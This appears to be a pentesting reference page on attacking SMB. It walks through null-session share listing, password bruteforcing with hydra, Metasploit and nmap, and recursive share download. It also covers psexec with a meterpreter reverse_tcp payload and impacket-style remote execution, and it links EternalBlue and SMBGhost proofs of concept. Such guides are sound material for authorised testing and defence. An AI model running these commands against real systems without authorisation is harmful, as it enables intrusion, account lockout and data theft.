๐Ÿ› ๏ธ SMB

Theory

SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network
In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.
In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see this).

Practice

Null session

The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials
UNIX-like
Windows
Tools like smbclient (C) and smbmap (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.
1
# List shares
2
smbclient --list //$IP
3
smbmap -H $IP
4
โ€‹
5
# List shares (implicit null creds)
6
smbclient --no-pass --list //$IP
7
โ€‹
8
# List shares (explicit null creds)
9
smbclient --user ''%'' --list //$IP
10
smbmap -u '' -p '' -H $IP
11
โ€‹
12
# Open an interactive session to operate on a specific share
13
smbclient //$IP/$SHARE_NAME
Copied!
โ€‹CrackMapExec (Python) can be used to test for null session on multiple hosts.
1
crackmapexec smb $TARGETS -u '' -p '' --shares
Copied!
The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.
If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)
1
net use \\$IP\$SHARE_NAME '' /user:''
Copied!

Bruteforce

Tools like hydra, metasploit or nmap can be used to operate authentication bruteforce attacks.
In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.
1
# hydra
2
hydra -L usernames.txt -P passwords.txt $IP -V -f smb
3
โ€‹
4
# Metasploit module to use
5
msf5 > use auxiliary/scanner/smb/smb_login
6
โ€‹
7
# nmap
8
nmap --script smb-brute -p 445 $IP
Copied!
Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.

Data exfiltration

Tools like smbclient and CrackMapExec can be used to recursively download a SMB share's content.
1
# In an smbclient interactive session
2
recurse ON
3
prompt OFF
4
mget *
5
โ€‹
6
# With crackmapexec
7
crackmapexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False
Copied!

๐Ÿ› ๏ธ Authenticated RCE

Untitled
โ€‹
PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.
1
msf > use exploit/windows/smb/psexec
2
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
3
msf exploit(psexec) > show options
4
Module options:
5
โ€‹
6
Name Current Setting Required Description
7
---- --------------- -------- -----------
8
RHOST 192.168.57.131 yes The target address
9
RPORT 445 yes Set the SMB service port
10
SMBPass no The password for the specified username
11
SMBUser Administrator yes The username to authenticate as
Copied!
Privileged user credentials required.
File uploading, creating, starting, stopping, deletion of services makes it really noisy.
Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries cmd.exe/powershell.exe. The exploit create an arbitrary service with the Service File Name attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.
The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.
impacket/smbexec.py at master ยท SecureAuthCorp/impacket
GitHub
Exploit
%COMSPEC% is the environment variable that generaly points to the command line interpreter. (cmd.exe, powershell.exe...)
The purpose of using /Q option of cmd is to stop displaying output. (je crois que รงa veut dire /quiet ร  vรฉrifier)
Prioritize using Smbexec when you detect a strong AV, cmd.exeis a trusted component of the operating system.
Privileged user credentials required.
Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged access to system monitoring tools.
Wmiexec has a similar approach to smbexec but it is executing commands through WMI.
impacket/wmiexec.py at master ยท SecureAuthCorp/impacket
GitHub
Exploit
DCOM is a way for a computer to run a program over the network on a different computer as if the program was running locally.
Dcomexec has a similar approach to psexec but it is executing commands through DCOM.
impacket/dcomexec.py at master ยท SecureAuthCorp/impacket
GitHub
Exploit
Crackmapexec is a swiss army that has featured a lot of the command execution methods mentionned precedently.
One of its feature is to automate the process of executing code via SMB by switching between methods when one fails.
GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
GitHub

๐Ÿ› ๏ธ Unauthenticated RCE

Untitled
โ€‹
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.
GitHub - worawit/MS17-010: MS17-010
GitHub
POC
Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC - ZecOps Blog
ZecOps Blog
Walktrough
GitHub - ZecOps/CVE-2020-0796-RCE-POC: CVE-2020-0796 Remote Code Execution POC
GitHub
POC
Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.
In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.
SMBleedingGhost Writeup: Chaining SMBleed (CVE-2020-1206) with SMBGhost - ZecOps Blog
ZecOps Blog
Walktrough
GitHub - ZecOps/CVE-2020-1206-POC: CVE-2020-1206 Uninitialized Kernel Memory Read POC
GitHub
POC

References

What is WMI? Let's learn all about this in this article
Pandora FMS Monitoring Blog
139,445 - Pentesting SMB
HackTricks
What is DCOM (Distributed Component Object Model)?
https://www.optiv.com/blog/owning-computers-without-shell-access
www.optiv.com